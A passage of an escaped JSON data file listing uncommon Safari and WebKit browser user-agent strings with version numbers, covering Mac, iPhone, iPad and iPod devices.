Gecko) Version\\/4.0 Mobile\\/7E18 Safari\\/528.16\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\\/124 (KHTML, like Gecko) Safari\\/125\"},{\"commonality\":\"Uncommon\",\"version\":\"3.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; fr-fr) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/3.2.1 Safari\\/525.27.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; pt-br) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit\\/534.15  (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit\\/603.1.20 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E5230e Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 ( Macintosh; Intel Mac OS X 10_10_1 ) AppleWebKit\\/600.2.5 ( KHTML, like Gecko ) Version\\/8.0.2 Safari\\/600.2.5 ( compatible; CloudServerMarketSpider\\/1.0; +http:\\/\\/cloudservermarket.com\\/spider.html )\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\\/600.7.10 (KHTML, like Gecko) Version\\/8.0.7 Safari\\/600.7.10\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\\/600.7.11 (KHTML, like Gecko) Version\\/8.0.7 Safari\\/600.7.11\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F191 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5354b Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone Simulator; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B176 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B314 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.50\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit\\/531.22.7 (KHTML, like Gecko) Version\\/4.0.5 Safari\\/531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit\\/601.1.50 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.50\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B141 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.31\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) adbeat.com\\/policy AppleWebKit\\/602.1.38 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5297c Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.31 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5327g Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/534.54.16 (KHTML, like Gecko) Version\\/5.1.4 Safari\\/534.54.16\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5345a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E188a Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A523 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.3 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Safari\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.1.2 Safari\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E8301 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (;;; en-us; Huawei-U8651S Build\\/U8651SV100R001USAC85B843) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/602.1.38 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5297c Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/533.18.1 (KHTML, like Gecko) Version\\/5.0.2 Safari\\/533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.78.2 (KHTML, like Gecko) Version\\/6.1.6 Safari\\/537.78.2\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; es-es) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.31\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12H143 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/601.6.17 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.38\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 5_0 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C153 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.52.7 (KHTML, like Gecko) Version\\/5.1.2 Safari\\/534.52.7\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/6.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/8.0 Mobile\\/10A5376e Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-de) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/600.3.5 (KHTML, like Gecko) Version\\/8.0.2 Safari\\/600.3.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/10.0.3 Safari\\/602.4.8\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_0_1 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8A306 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13C75 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A340 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.1 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/5\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.30\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 421 like Mac OS X; zh-CN) AppleWebKit\\/533.17.9 (KHTML like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/603.1.23 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.23\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/602.2.11 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/602.2.11\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit\\/602.3.10 (KHTML, like Gecko) Version\\/10.0.2 Safari\\/602.3.10\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit\\/602.3.7 (KHTML, like Gecko) Version\\/10.0.2 Safari\\/602.3.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.55.3 (KHTML, like Gecko) Version\\/5.1.5 Safari\\/534.55.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 433 like Mac OS X; zh-CN) AppleWebKit\\/533.17.9 (KHTML like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/537.76.4 (KHTML, like Gecko) Version\\/7.0.4 Safari\\/537.76.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit\\/533.20.25 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20.27\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B208 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.38 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A300 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C202 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/536.26.14 (KHTML, like Gecko) Version\\/6.0.1 Safari\\/536.26.14\"},{\"commonality\":\"Uncommon\",\"version\":\"9.3\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/9.3.2 Safari\\/537.75.14\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C107 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B100 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.59.10 (KHTML, like Gecko) Version\\/5.1.9 Safari\\/534.59.8\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; zh-cn) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B500 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) WebClip\\/10601.7.1 Safari\\/10601.7.7\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.74.9 (KHTML, like Gecko) Version\\/6.1.2 Safari\\/537.74.9\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12H321 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.4 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.4\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\\/600.6.3 (KHTML, like Gecko) Version\\/8.0.6 Safari\\/600.6.3\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5362a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/601.5.10 (KHTML, like Gecko) Version\\/9.1 Safari\\/601.5.10\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E269 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.3.9\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A340 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit\\/525.18 (KHTML, like Gecko) Version\\/3.1.2 Safari\\/525.20.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; es-es) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/600.5.6 (KHTML, like Gecko) Version\\/8.0.5 Safari\\/600.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.3 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G5037b Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5370a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D169 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit\\/604.2.10 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A8391 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit\\/600.7.7 (KHTML, like Gecko) Version\\/8.0.7 Safari\\/600.7.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_3 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/10.1 Mobile\\/15A432 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B5110e Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; es) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0(Macintosh;U;Intel Mac OS X 10_6_3;en-us;V55 Build\\/MASTER)AppleWebKit\\/534.13(KHTML,like Gecko)Version4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Safari\\/537.36 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 4_3_5 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C5110b Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13D20 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A345 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.76.4 (KHTML, like Gecko) Version\\/6.1.4 Safari\\/537.76.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B5086a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B92 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5H11a Safari\\/525.20\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B14 3 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/603.2.1 (KHTML, like Gecko) Version\\/10.1.1 Safari\\/603.2.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_5 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/604.5.6 (KHTML, like Gecko) WebClip\\/13604.5.6 Safari\\/13604.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.10 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C5077b Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/601.5.13 (KHTML, like Gecko) Version\\/9.1 Safari\\/601.5.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B405 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; fr-fr) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) 